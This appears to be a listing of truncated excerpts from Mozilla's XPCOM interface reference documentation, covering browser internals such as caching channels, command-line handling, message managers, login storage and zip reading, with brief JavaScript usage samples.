e represented as a stream. the storagepolicy must be consistent with the value of this field. for example, a non-stream-based cache entry can only have a storage policy of store_in_memory. return value returns a new cache session. createtemporaryclientid() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this method creates and returns a unique, temporary cache client id. this is used by the offline cache. the offline cache lets clients accumulate entries in a temporary client and merge them in as a group using nsiofflinecachesession.mergetemporaryclient(). acstring createtemporaryclientid( in nscachesto...
nsICachingChannel
ork. combining this flag with load_bypass_local_cache will cause all loads to fail. this flag differs from load_only_from_cache in that this flag fails the load if validation is required while load_only_from_cache skips validation where possible. load_check_offline_cache 1 << 27 this load flag causes the offline cache to be checked when fetching a request. it will be set automatically if the browser is offline. this flag will not be transferred through a redirect. load_bypass_local_cache 1 << 28 this load flag causes the local cache to be skipped when fetching a request. unlike load_bypass_cache, it does not force an end-to-end load (that is, it does not affect proxy caches). load_bypass_local_cache_if_busy 1 << 29 this load flag causes the local cache to be skipped if the request wo...
nsICommandLine
lvefile(in astring aargument); nsiuri resolveuri(in astring aargument); attributes attribute type description length long number of arguments in the command line. the application name is not part of the command line. read only. preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example). this flag allows the default action to be prevented. state unsigned long the type of command line being processed. see state constants. read only. windowcontext nsidomwindow a window to be targeted by this command line. in most cases, this will be null (xremote will sometimes set this attribute). read only. workingdirectory nsifile the working directory for this co...
nsICommandLineHandler
the text should have embedded newlines which wrap at...
nsICompositionStringSynthesizer
by setstring(), appendclause() and setcaret() to the focused editor. if appendclause() hasn't been called, this dispatches events to set composition string without clause information. in other words, commits composition string. if appendclause() and/or setcaret() are not called properly, e.g., sum of alength of calls of appendclause() is not same as composition string set by setstring(), this throws an exception. after a call of this, all stored composition string information is cleared. therefore, you can reuse the instance for modifying composition string. boolean dispatchevent(); return value if dispatched event's default is prevented, returns true. however, this must always return false since all dispatching dom events are not cancelable. setcaret() sets caret position in the compo...
nsIContainerBoxObject
layout/xul/base/public/nsicontainerboxobject.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul browser, editor or iframe element implements this interface. attributes attribute type description docshell nsidocshell read only. the nsidocshell object that manages the contained document. the browser.xml, editor.xml and general.xml bindings use this property to gain access to other properties such as webnavigation, contentdocument and contentwindow. ...
nsIContentFrameMessageManager
returns string: the base64-encoded ascii string. attributes content nsidomwindow: the current top level window in the frame or null. read only. docshell nsidocshell: the top level docshell or null. read only. examples once you obtain the conten frame messge manager, you can send messages to listeners who registered with services.mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope. var acfmm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside a tab, this code would run from a framescript. var acfmm = window.queryinterface(ci.nsiinterfacerequestor) ...
nsIContentPrefService
preferences are saved as key/value pairs on a per-website basis. dom/interfaces/base/nsicontentprefservice.idlscriptable please add a summary to this article. last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports implemented by: @mozilla.org/content-pref/service;1. ...
nsIDOMFileError
try to avoid using it. ...
nsIDOMGeoGeolocation
cle. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports implemented by: @mozilla.org/geolocation;1. ...
nsIDOMHTMLSourceElement
how the resource is encoded. media unimplemented domstring the media attribute gives the intended media type of the media resource, to help the user agent determine if this media resource is useful to the user before fetching it. its value must be a valid media query. example <video controls> <source src="foo.webm" type="video/webm; codecs=&quot;vp9, opus&quot;"> your browser does not support the <code>video</code> element. </video> this example specifies that a video object with playback controls should be drawn, playing the file "foo.ogg". the type is specified as "video/ogg", and the source element also specifies that the video file uses the dirac and speex codecs. ...
nsIDOMMozNetworkStatsManager
epresenting the start time. data a date object representing the date of data. networkstatsgetoptions networkstatsgetoptions is a dictionary object used to filter a network statistics request made when calling getsamples(). it contains the following fields: appmanifesturl a string used to filter network stats by app. servicetype a string used to filter network stats by system service. browsingtrafficonly a boolean set to filter network stats by browsing traffic. if true, return only browsing traffic, which is generated from the mozbrowser iframe element within an app. if false or not set, the total traffic, which is generated from both the mozapp and mozbrowser iframe elements, is returned. for example, this object might be { appmanifesturl : manifesturl }. ...
nsIDOMOfflineResourceList
che. the newest version of resources are updated on first refresh. this means already loaded resources should only update after a page refresh. note: versioned application caches are not yet supported; this method will throw an exception. void swapcache(); parameters none. update() begins the application cache update process. this will check for a new cache manifest but will not tell the browser to use the updated cache. void update(); parameters none. see also offline resources in firefox nsiapplicationcache nsiapplicationcachecontainer nsiapplicationcacheservice nsiapplicationcachechannel nsiapplicationcachenamespace ...
nsIDOMStorage
1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) a dom window's session storage object can be retrieved from the window's sessionstorage attribute. ...
nsIDOMStorageEventObsolete
try to avoid using it. dom/interfaces/storage/nsidomstorageeventobsolete.idlscriptable this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage. ...
nsIDOMXULElement
paceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute. allowevents boolean true if the element's allowevents attribute is the string "true", otherwise false. removes the attribute if you set it to false. boxobject nsiboxobject read only. gets or creates a box object for the element; browser, editor, iframe, listbox, menu, menupopup, scrollbox, tooltip and tree elements receive specialized box objects allowing access to additional properties not normally available from script. builder nsixultemplatebuilder read only. retrives the element's template builder, if it has a template. classname domstring gets/sets the value of the element's class attribute. collapsed boolean true i...
nsIDocumentLoader
fireonstatuschange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage ); parameters awebprogress arequest astatus amessage native code only!getcontentviewercontainer obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void getcontentviewercontainer( in nsisupports adocumentid, out nsicontentviewercontainer aresult ); parameters adocumentid aresult getloadgroup() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) nsiloadgroup getloadgroup(); paramet...
nsIDragService
vice to end a drag session. this is called when an external drag occurs. void enddragsession( in prbool adonedrag ); parameters adonedrag if adonedrag is true, the drag has finished, otherwise the drag has just left the window. firedrageventatsource() obsolete since gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. fire a drag event at the source of the drag. this was changed in gecko 43, see the following section. void firedrageventatsource( in unsigned long amsg ); obsolete since gecko 43 parameters amsg one of the ns_dragdrop_* contants which was defined in widget/basicevents.h fire a drag event at the ...
nsIEditorBoxObject
ditor element implements this interface. note: please consider using nsicontainerboxobject instead. attributes attribute type description docshell nsidocshell read only. obsolete since gecko 1.9 the nsidocshell object that manages the contained document. the editor.xml binding uses this property to gain access to the webnavigation, contentdocument, contentwindow, webbrowserfind, editingsession and commandmanager properties. ...
nsIEditorSpellCheck
the word to replace. replaceword the word with which to replace the misspelledword. alloccurrences if true, all occurrences of misspelledword are replaced with replaceword. if false, only the first occurrence is replaced. savedefaultdictionary() obsolete since gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. saves the currently selected dictionary as the default. the function uninitspellchecker() will also do this, but that function may not be called in some situations. this function allows the caller to force the default immediately. note: this method was removed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / s...
nsIEventTarget
ean isoncurrentthread(); parameters none. return value returns true if events dispatched to this event target will run on the current thread (that is, the thread calling this method). if events dispatched to this target will be processed on another thread, returns false. native code only!postevent obsolete since gecko 1.9 (firefox 3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. method for posting an asynchronous event to the event target. if this method succeeds, then the event will be dispatched on the target thread. void postevent( in pleventptr aevent ); parameters aevent the event to dispatched. ...
nsIExternalProtocolService
if neither the application nor the os knows about a handler for the protocol, the object this method returns will represent a default handler for unknown content. note: aprotocolscheme should not include a...
nsIFilePicker
afilepickershowncallback); short show(); obsolete since gecko 57.0 attributes attribute type description addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; nothing happens if there is no such concept on the user's platform). this attribute has no effect if private browsing mode is in effect. defaultextension astring the extension for the type of files you want to work with. on some platforms, this is automatically appended to filenames the user enters, if required. specify it without a leading dot, for example "jpg". defaultstring astring the filename, including extension, that should be suggested to the user as a default. this sho...
nsIFileView
s boolean if true hidden files will be shown. showonlydirectories boolean if true only directory entries will be returned. sorttype short the current sort type in effect. read only. constants constant value description sortname 0 sort by file name. sortsize 1 sort by file size. sortdate 2 sort by the date of the last modification. methods setdirectory() set the directory to be browsed. void setdirectory( in nsifile directory ); parameters directory the directory to be browsed. setfilter() set the filter to be applied to the file list, for example "*.jpg" would only return jpg files. void setfilter( in astring filterstring ); parameters filterstring the filter to be applied to the file list. sort() set the method used for sorting. void sort( in short sorttype, i...
nsIFrameLoader
ctivateframeevent() activates event forwarding from client (remote frame) to parent. void activateframeevent( in astring atype, in boolean capture ); parameters atype the event type for which to enable forwarding. capture whether or not to capture these events. activateremoteframe() activates the remote frame. void activateremoteframe(); parameters none. exceptions thrown throws an exception with non-remote frames. destroy() destroys the frame loader and everything inside it. this will clear the weak owner content reference. void destroy(); parameters none. loadframe() starts loading the frame. this method figures out what to load from the owner content in the frame loader. void loadframe(); parameters none. loaduri() loads the specified uri in this frame. ...
nsIFrameMessageListener
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is used when implementing out-of-process handling of frames; the process handling a frame should implement this interface in order to receive messages. method overview void receivemessage(); methods receivemessage() note: this method is for javascript only. ...
nsIHTTPHeaderListener
access http response headers after issuing an nsipluginhost.geturl or nsipluginhost.posturl call. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: the plugin author must provide an instance to {geturl,posturl}() that implements both nsipluginstreamlistener and nsihttpheaderlistener. this instance is passed in through {geturl,posturl}()'s streamlistener parameter. the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener. method overview void newresponseheader(in string headername, in string headervalue); void statusline(in string line); methods newresponseheader() called for each http response header. note: you must copy the values of the params. void newresponseheader( in string headername, in string h...
nsIHttpActivityObserver
pchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata ); parameters ahttpchannel the nsihttpchannel on which the activity occurred. aactivitytype the type of activity that occurred; this will be one of the values specified in activity type constants. aactivitysubtype the subtype that further narrows the type of activity that occurred. if the activity type is activity_type_socket_transport, this value will be one of the status_* constants defined by nsisockettransport. if the activity type is activity_type_http_transaction, this will be one of the constants specified in activity subtype constants above. atimestamp the time at which the activity occurred, specified as microseconds elapsed sinc...
nsIHttpUpgradeListener
protocol handler to take over the channel that is no longer being used by http. note: to begin a protocol upgrade, call nsihttpchannelinternal.httpupgrade(). void ontransportavailable( in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout ); parameters atransport the nsisockettransport describing the socket connection between the browser and the server; this socket can now be used for the new protocol instead of http. asocketin the nsiasyncinputstream object representing the input stream for data coming from the server over the socket connection. asocketout the nsiasyncoutputstream object representing the out stream for sending data to the server over the socket. ...
nsIIdleService
server, in unsigned long time); void removeidleobserver(in nsiobserver observer, in unsigned long time); attributes attribute type description idletime unsigned long the amount of time in milliseconds that has passed since the last user activity. can be 0 if there is no valid idle time to report (this can happen if the user never interacted with the browser at all, and if we are unable to poll for idle time manually). read only. methods addidleobserver() add an observer to be notified when the user idles for some period of time, and when they get back from that. the subject of the notification the observer will get is always the nsiidleservice itself. when the user goes idle, the observer topic is 'idle' and when they get back, the obs...
nsILoadGroup
meters arequest the request to be added to the load group. acontext the context to be passed to the onstartrequest notification. removerequest() removes a request from the group. if this is a foreground request then the groupobserver's onstoprequest will be called. by the time this call ends, arequest will have been removed from the loadgroup, even if this function throws an exception. void removerequest( in nsirequest arequest, in nsisupports acontext, in nsresult astatus ); parameters arequest the request to be removed from the load group. acontext the context to be passed to the onstoprequest notification. astatus the status to be passed to the onstoprequest notification. ...
nsILoginManagerStorage
ding nsiloginmetainfo. void modifylogin( in nsilogininfo oldlogin, in nsisupports newlogindata ); parameters oldlogin the login to be modified. newlogindata the login information to replace the oldlogin with. this may be specified as either an nsilogininfo or an nsipropertybag2 object. removealllogins() implement this method to remove all logins from the login store. this is called by the browser sanitization feature when the user asks to clear all stored passwords. the user interface allows this to be done without getting each login first (which might require knowing the master password). no password should be required in order to remove all logins. void removealllogins(); parameters none. removelogin() implement this method to remove the specified login from the login store. gecko...
nsIMessageBroadcaster
listenermanager getchildat(in unsigned long aindex); broadcastasyncmessage() like sendasyncmessage(), but also broadcasts this message to all "child" message managers of this message manager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. warning: broadcasting messages can be very expensive and leak sensitive data. use with extreme caution. throws ns_error_not_initialized if the sender is not initialized. for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process frame but the other process has not yet been set up. throws ns_error_failure when the message receiver cannot be found. for example, we will throw ns_error_failure if we try to send a message to a cross-process frame whose process has cras...
nsIMessageListener
ork: broadcastasyncmessage sendasyncmessage sendsyncmessage. the received message is an object with the following properties: target the target of the message. either an element owning the message manager, or the message manager itself if no element owns it. if the message was sent from a frame script using a nsicontentframemessagemanager, then this property is the xul <browser> element for the frame from which the message was sent. name the message name. this is the first argument passed into the message-sending function. sync true if the message was sent using sendsyncmessage, false otherwise. data a structured clone of the message payload: the second argument passed into the message-sending function. json same as ...
nsIMessageSender
[optional] in jsval objects, [optional] in nsiprincipal principal); sendasyncmessage() send messagename and obj to the "other side" of this message manager. this invokes listeners who registered for messagename using a nsimessagelistenermanager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. throws ns_error_not_initialized if the sender is not initialized. for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process frame but the other process has not yet been set up. throws ns_error_failure when the message receiver cannot be found. for example, we will throw ns_error_failure if we try to send a message to a cross-process frame whose process has cras...
nsIMessenger
d setdisplaycharset(in acstring acharset); parameters acharset the character set to use. setwindow() sets the current window for a messenger session. void setwindow(in nsidomwindow awin, in nsimsgwindow amsgwindow); parameters awin the window to set as the window for the messaging session. if this window contains a messagepane element (i think this may mean a xul:browser element with its id set to "messagepane"?), then the nsidocshell will be used for future nsimessenger operations. if there is no messagepane element, then the root xul nsidocshell will be used (so that openurl() will still work). if null is passed in then observers are removed in preparation for shutdown. amsgwindow the nsimsgwindow with the transation manager to be used. openurl() opens a...
nsIMicrosummaryGenerator
view long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosummarygenerator aother); astring generatemicrosummary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded. read only. localuri nsiuri for generators installed by the user or bundled with the browser, the local uri points to the location of the local file containing the generator's xml. read only. name autf8string an arbitrary descriptive name for this microsummary generator. read only. needspagecontent boolean whether or not this generator needs page content to generate a microsummary. microsummaries generated by xslt templates need page content, while those which represent the actual...
nsIMsgDBView
somewhere in the displayed messages... i think. void selectfoldermsgbykey(in nsimsgfolder afolder, in nsmsgkey akey); parameters afolder the nsimsgfolder to search within. akey the key of the message. nsmsgkey is defined as an unsigned long in mailnewstypes2.idl. ondeletecompleted() called when delete is completed on a message. used to notify the tree that rows are going away. void ondeletecompleted(in boolean succeeded); parameters succeeded true if the delete was successful. findindexfromkey() gets the index of a message with a particular key. nsmsgviewindex findindexfromkey(in nsmsgkey amsgkey, in boolean aexpand); parameters amsgkey the key of the message. nsmsgkey is defined as an unsigned long in...
nsINavHistoryResultTreeViewer
ed reload a bunch of times in a row). if you know you'll only ever want one entry per site, you should ask for uris back instead of visits so it will be more efficient. default = true. changing this value is somewhat heavyweight since it will force a tree refresh. obsolete since gecko 1.9 flatitemcount pruint32 this tells you how many items are in the flattened list of results, that is how many rows are in this tree right now. the tree adaptor will also qi to nsitreeview, and this will be the same as nsitreeview.rowcount. this is only valid when a tree is attached, the result will be 0 otherwise. read only. obsolete since gecko 1.9 constants constant value description index_invisible 0xffffffff returned by treeindexfornode() when the requested node isn't visible (such as when its par...
nsINavHistoryResultViewer
which is similar but allows multiple clients to observe the result at once. 1.0 66 introduced gecko 1.9 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. note: most methods in this interface were renamed in gecko 1.9.2, and others have slightly different parameter lists. method overview void containerclosed(in nsinavhistorycontainerresultnode acontainernode); void containeropened(in nsinavhistorycontainerresultnode acontainernode); ...
nsIPlacesImportExportService
in print64 afolder, in boolean aisinitialimport ); parameters afile the file to import. afolder the id of the bookmarks folder into which to import the bookmarks. aisinitialimport whether or not this is an initial import. importhtmlfromuri() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. note: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead. same thing as importhtmlfromfile(), but takes a uri instead. void importhtmlfromuri( in nsiuri auri, in boolean aisinitialimport ); parameters auri the uri from which to import bookmarks. aisinitial...
nsIPushService
dom/interfaces/push/nsipushservice.idlscriptable a service for components to subscribe and receive push messages from remote servers. inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) push lets a remote server send payloads to a web site, add-on, or component running in the browser. nsipushservice supports the push api implementation in firefox, and can be used directly from privileged code to create system subscriptions. implemented by @mozilla.org/push/service;1 as a service: const pushservice = components.classes["@mozilla.org/push/service;1"] .getservice(components.interfaces.nsipushservice); method overview void subscribe(in domstring scope, in nsiprincipal principal, in nsip...
nsISHistoryListener
ame or content area; for example by calling nsiwebnavigation.loaduri(). note: you can't cancel this operation. void onhistorynewentry( in nsiuri anewuri ); parameters anewuri the uri of the document to be added to session history. onhistorypurge() called when entries are removed from session history. entries can be removed from session history for various reasons; for example to control the browser's memory usage, to prevent users from loading documents from history, to erase evidence of prior page loads, etc. to purge documents from session history call nsishistory.purgehistory(). boolean onhistorypurge( in long anumentries ); parameters anumentries the number of entries to be removed from session history. return value true to allow the purge operation to proceed or false to cancel ...
nsIScriptableUnicodeConverter
ombytearray([const,array,size_is(acount)] in octet adata, in unsigned long acount); void converttobytearray(in astring astring,[optional] out unsigned long alen,[array, size_is(alen),retval] out octet adata); nsiinputstream converttoinputstream(in astring astring); attributes attribute type description charset string current character set. throws ns_error_uconv_noconv if the requested charset is not supported. methods convertfromunicode() converts the data from unicode to one charset. returns the converted string. after converting, finish should be called and its return value appended to this return value. acstring convertfromunicode( in astring asrc ); finish() returns the terminator string. should be called after convertf...
nsISearchSubmission
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description postdata nsiinputstream the post data associated with a search submission, wrapped in a mime input stream. may be null. read only. uri nsiuri the uri to submit a search to. read only. ...
nsISecurityCheckedComponent
sisupports last changed in gecko 1.7 capability strings in gecko, a "capability" is a string identifying a set of actions that code is allowed to perform. two examples: code that has the "universalxpconnect" capability is allowed to access all of xpcom. this includes creating instances of arbitrary xpcom objects and calling methods and setting properties on them. code that has the "universalbrowserread" capability is allowed to perform certain actions that allow it to read information from the local system. for example, this capability allows code to set the value of <input type="file"> and access an arbitrary file on disk. standard web pages have no special capabilities. extensions can define their own capabilities and use this interface to only allow access to code trusted with that ...
nsISelectionPrivate
touch the input range rather than merely overlapping it. resultcount returns the number of ranges that overlap (or touch) the input range. results returns the ranges that overlap (or touch) the input range. native code only!getrangesforintervalcomarray obsolete since gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this method became obsolete in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9). use getrangesforintervalarray() instead. void getrangesforintervalcomarray( in nsidomnode beginnode, in print32 beginoffset, in nsidomnode endnode, in print32 endoffset, in prbool allowadjacent, in range...
nsIStringEnumerator
an hasmore(); methods getnext() called to retrieve the next string in the enumerator. the "next" element is the first string upon the first call. must be preceded by a call to hasmoreelements() which returns pr_true. this method is generally called within a loop to iterate over the strings in the enumerator. astring getnext(); parameters none. return value the next string in the enumerator. throws an exception if there are no more strings. hasmore() called to determine whether or not the enumerator has any strings that can be returned via getnext(). this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, though it can be called without subsequent getnext() calls. does not affect internal state of enumerator. boolean hasmore(); param...
nsISupports proxies
try to avoid using it. xpcom proxies were a technology which allowed code to make asynchronous or synchronous xpcom calls to a different thread on arbitrary xpcom interfaces. this technology has been removed in firefox 12 because it was very complex and often lead to strange deadlock conditions. ...
nsISyncMessageSender
ocks the sender until all listeners of the message have been invoked. returns an array containing return values from each listener invoked. send messagename and obj to the "other side" of this message manager. this invokes listeners who registered for messagename using a nsimessagelistenermanager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. throws ns_error_not_initialized if the sender is not initialized. for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process frame but the other process has not yet been set up. throws ns_error_failure when the message receiver cannot be found. for example, we will throw ns_error_failure if we try to send a message to a cross-process frame whose process has cras...
nsITraceableChannel
xamine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g. to xmlhttprequest or to the browser tab that made the request) with your own implementation (see "implementing nsistreamlistener" below). after that your nsistreamlistener implementation will get the response data and will be able to pass the data on to the original nsistreamlistener (possibly modifying it). see nsitraceablechannel, intercept http traffic for a more detailed description with code samples. see modify url befo...
nsITransferable
builds. void init( in nsiloadcontext acontext ); parameters acontext the load context associated with the transferable object. this can be set to null if a load context is not available. remarks the load context is used to track whether the transferable is storing privacy-sensitive information. for example, we try to delete data that you copy to the clipboard when you close a private browsing window. to get the appropriate load context in javascript callers, one needs to get to the document that the transferable corresponds to, and then get the load context from the document like this: var loadcontext = doc.defaultview.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsiloadcontext); in c++ callers...
nsIURIFixupInfo
ywordassent astring the keyword used for the search (post trimming etc.); empty string if no keyword search is performed. read only. fixupchangedprotocol boolean if we changed the protocol; instead of using one raw from the input. read only. fixupcreatedalternateuri boolean if we created an alternative uri. potentially adding a prefix and/or suffix; set by the browser.fixup.alternate.prefix and .suffix prefs, their defaults "www." and ".com", respectively. read only. originalinput autf8string the original input. read only. ...
nsIUTF8StringEnumerator
ext(); boolean hasmore(); methods getnext() returns the next string in the enumerator. the "next" element is the first string upon the first call. must be preceded by a call to hasmore(), which returns pr_true. this method is generally called within a loop to iterate over the strings in the enumerator. autf8string getnext(); parameters none. return value the next string in the enumerator. throws an exception if there are no more strings. hasmore() reports whether or not the enumerator has any strings that can be returned via getnext(). this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, athough it can be called without subsequent getnext() calls. calling this method doesn't affect the internal state of the enumerator. boolean h...
nsIWebNavigation
e/nsiwebnavigation.idlscriptable defines an interface for navigating the web. it provides methods and attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has previously gone. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead. method overview void goback void goforward void gotoindex( in long index ) ...
nsIWebSocketChannel
status codes the following values are permitted status codes. status code name description 0-999 reserved and not used. 1000 close_normal normal closure; the connection successfully completed whatever purpose for which it was created. 1001 close_going_away the endpoint is going away, either because of a server failure or because the browser is navigating away from the page that opened the connection. 1002 close_protocol_error the endpoint is terminating the connection due to a protocol error. 1003 close_unsupported the connection is being terminated because the endpoint received data of a type it cannot accept (for example, a text-only endpoint received binary data). 1004 close_too_large ...
nsIWinTaskbar
vel window from which to create the preview. controller an nsitaskbarpreviewcontroller you implement. return value an nsitaskbartabpreview object for the new tab preview. ...
nsIXMLHttpRequest
try to avoid using it. nsixmlhttprequest along with nsijsxmlhttprequest and nsixmlhttprequesteventtarget are mozilla's implementation details of the dom xmlhttprequest object. note: if you're a web developer or a mozilla add-on developer, please refer to the xmlhttprequest documentation instead. this page contains documentation, specific to mozilla application and add-on developers. ...
nsIXPCScriptable
ess or must return pr_false to indicate failure. newresolve() this method is called when the want_newresolve flag is set. when this method is called, xpconnect is attempting to resolve a lazy property named by id on obj. the js engine will check if the property named by id is defined after this method has been called. this is very similar to jsnewresolveop. if an implementation of this method throws an error code, the prototype chain will not be checked for the property. prbool newresolve( in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in pruint32 flags, out jsobjectptr objp ); parameters wrapper cx the pointer to the jscontext newresolve is being called from. obj the pointer to the jsobject that the property named by id ...
nsIXSLTProcessorObsolete
obsolete since gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. use nsixsltprocessor instead. ...
nsIXULRuntime
;1. to get an instance, use: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime); method overview void invalidatecachesonrestart(); attributes attribute type description accessibilityenabled boolean if true, the accessibility service is running. read only. browsertabsremoteautostart boolean if true, browser tabs may be opened by default in a different process from the main browser ui. read only. insafemode boolean whether the application was launched in safe mode. read only. is64bit boolean indicates whether the current firefox build is 64-bit. read only. logconsoleerrors boolean whether to writ...
nsIXULSortService
nsicontent node, in boolean anotify); native code only! obsolete since gecko 1.9 void sort(in nsidomnode anode, in astring asortkey, in astring asorthints); constants constant value description sort_comparecase 0x0001 sort_integer 0x0100 methods native code only!insertcontainernode obsolete since gecko 1.9 (firefox 3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. used internally for insertion sorting. void insertcontainernode( in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsicontent root, in nsicontent trueparent, in nsicontent container, in nsicontent node, in boolean anotify ); parameters db sortstateptr root trueparent cont...
nsIXmlRpcFault
try to avoid using it. extensions/xml-rpc/idl/nsixmlrpcclient.idlscriptable an xml-rpc exception. xml-rpc server fault codes are returned wrapped in this; access it using nsixpconnect.getpendingexception->data. ...
nsIZipReader
eaminstance = cc['@mozilla.org/scriptableinputstream;1'].createinstance(ci.nsiscriptableinputstream); var pathtoxpitoread = os.path.join(os.constants.path.profiledir, 'extensions', 'portabletester@jetpack.xpi'); var nsifilexpi = new fileutils.file(pathtoxpitoread); //services.ww.activewindow.alert(pathtoxpitoread); try { zr.open(nsifilexpi); //if file dne it throws here var entries = zr.findentries('*'); //we use asterik because we want everything listed out while (entries.hasmore()) { var entrypointer = entries.getnext(); //just a string of "zip path" (this means path to file in zip, and it uses forward slashes remember) var entry = zr.getentry(entrypointer); // should return true on `entry instanceof ci.nsizipentry` con...
NS_ASSERTION
in a debug build the failure text is written to console (stderr), into the nspr debug log, and on windows a dialog box is opened. the behavior of an assertion failure can be controlled using the xpcom_debug_break environment variable. an assertion failure should be thrown on critical program errors only. a triggered assertion failure is equivalent to crashing in tinderbox tests. note on terminology: "assertion" is the condition to test. there is always an assertion in ns_assertion; it is the first argument. only if the assertion evaluates to false is there an "assertion failure", which is thrown. the phrase "throwing an assertion" makes no sense. ...
NS_ERROR
this macro is meant for critical errors; like assertions, ns_errors should not be reachable. ...
XPCOM reference
interface. there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and nsnewsfolder. they all inherit from nsmsgdbfolder, which implements a lot of the core functionality. rss feeds are implemented by nslocalmailfolder.ns ensure successmacrons ensure truemacrons_abort_if_falsethis was removed in bug 1127201ns_addrefmacrons_assertionmacrons_ensure_arg_pointermacrons_errorthrows a assertion (ns_assertion) with the text "error: (error text)", so writes this text to console (stderr) and to debug logs (nspr logging). this macro is meant for critical errors; like assertions, ns_errors should not be reachable.ns_if_addrefmacrons_if_releasemacrons_releasemacrons_warningmacronsgetmoduleprocthis function prototype provides the xpcom entry-point into a module.nsiabcard/thunderbir...
Performance
immediate penalty of a commit, so you will not notice the problem as much. however, there is still overhead, and using a transaction will still be faster. one major problem is that the queue of file operations will get very long if there are many transactions. some operations require walking this queue to see what operations have been pending, and they will be slower. if the user shuts down the browser soon after you do this type of operation, you can delay shutdown (possibly for many tens of seconds for large numbers of transactions and slow disks), making it look like the browser is hung. queries careful reordering of the sql statement, or creating the proper indices, can often improve performance. see the sqlite optimizer overview on the sqlite web site for information on how sqlite uses i...
Storage
